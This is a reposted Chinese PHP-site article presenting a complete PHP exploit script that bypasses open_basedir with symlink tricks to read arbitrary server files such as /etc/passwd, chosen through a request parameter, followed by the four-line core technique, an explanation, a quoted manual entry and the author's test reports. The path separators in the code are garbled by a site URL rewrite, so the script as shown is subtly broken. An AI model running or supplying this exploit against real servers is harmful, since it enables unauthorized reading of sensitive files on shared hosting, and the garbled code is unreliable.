• 技术文章 >php教程 >php手册

    PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍,

    2016-06-13 09:16:51原创643

    PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍,


    漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

    漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

    给出我写的EXP:

    复制代码 代码如下:


    <?php
    /*
    * by phithon
    * From http://www.bkjia.com
    * detail: http://cxsecurity.com/issue/WLB-2009110068
    */
    header('content-type: text/plain');
    error_reporting(-1);
    ini_set('display_errors', TRUE);
    printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
    printf("disable_functions: %s\n", ini_get('disable_functions'));
    $file = str_replace('\\', '//m.sbmmt.com/m/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
    $relat_file = getRelativePath(__FILE__, $file);
    $paths = explode('//m.sbmmt.com/m/', $file);
    $name = mt_rand() % 999;
    $exp = getRandStr();
    mkdir($name);
    chdir($name);
    for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
    }
    mkdir($paths[$i]);
    for ($i -= 1; $i > 0; $i--) {
    chdir('..');
    }
    $paths = explode('//m.sbmmt.com/m/', $relat_file);
    $j = 0;
    for ($i = 0; $paths[$i] == '..'; $i++) {
    mkdir($name);
    chdir($name);
    $j++;
    }
    for ($i = 0; $i <= $j; $i++) {
    chdir('..');
    }
    $tmp = array_fill(0, $j + 1, $name);
    symlink(implode('//m.sbmmt.com/m/', $tmp), 'tmplink');
    $tmp = array_fill(0, $j, '..');
    symlink('tmplink/' . implode('//m.sbmmt.com/m/', $tmp) . $file, $exp);
    unlink('tmplink');
    mkdir('tmplink');
    delfile($name);
    $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
    $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
    echo "\n-----------------content---------------\n\n";
    echo file_get_contents($exp);
    delfile('tmplink');

    function getRelativePath($from, $to) {
    // some compatibility fixes for Windows paths
    $from = rtrim($from, '\/') . '//m.sbmmt.com/m/';
    $from = str_replace('\\', '//m.sbmmt.com/m/', $from);
    $to = str_replace('\\', '//m.sbmmt.com/m/', $to);

    $from = explode('//m.sbmmt.com/m/', $from);
    $to = explode('//m.sbmmt.com/m/', $to);
    $relPath = $to;

    foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
    // ignore this directory
    array_shift($relPath);
    } else {
    // get number of remaining dirs to $from
    $remaining = count($from) - $depth;
    if($remaining > 1) {
    // add traversals up to first matching dir
    $padLength = (count($relPath) + $remaining - 1) * -1;
    $relPath = array_pad($relPath, $padLength, '..');
    break;
    } else {
    $relPath[0] = './' . $relPath[0];
    }
    }
    }
    return implode('//m.sbmmt.com/m/', $relPath);
    }

    function delfile($deldir){
    if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
    }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
    $name = File_Str($deldir.'//m.sbmmt.com/m/'.$file);
    if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
    }
    }

    function File_Str($string)
    {
    return str_replace('//','//m.sbmmt.com/m/',str_replace('\\','//m.sbmmt.com/m/',$string));
    }

    function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
    }

    如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

    其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

    这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

    精华就是这四句:

    复制代码 代码如下:


    symlink("abc/abc/abc/abc","tmplink");
    symlink("tmplink/../../../etc/passwd", "exploit");
    unlink("tmplink");
    mkdir("tmplink");

    我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

    其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

    错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

    open_basedir

    将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

    当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

    特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

    在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

    在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

    用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

    Note:

    支持多个目录是 3.0.7 加入的。

    默认是允许打开所有文件。

    我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

    树莓派测试:

    相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

    前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

    发现没旁站,流量是通过网关转发的。

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    上一篇:php+xml实现在线英文词典之添加词条的方法,xml英文词典 下一篇:Head First-观察者模式,headfirst-观察者
    VIP课程(WEB全栈开发)

    相关文章推荐

    • 【腾讯云】年中优惠,「专享618元」优惠券!• MVC with PHP(二)• php配合jquery实现增删操作• 九度OnlineJudge之1014:排名• CakePHP程序员必须知道的21条技巧• 外媒体评:改良程序的11技巧
    1/1

    PHP中文网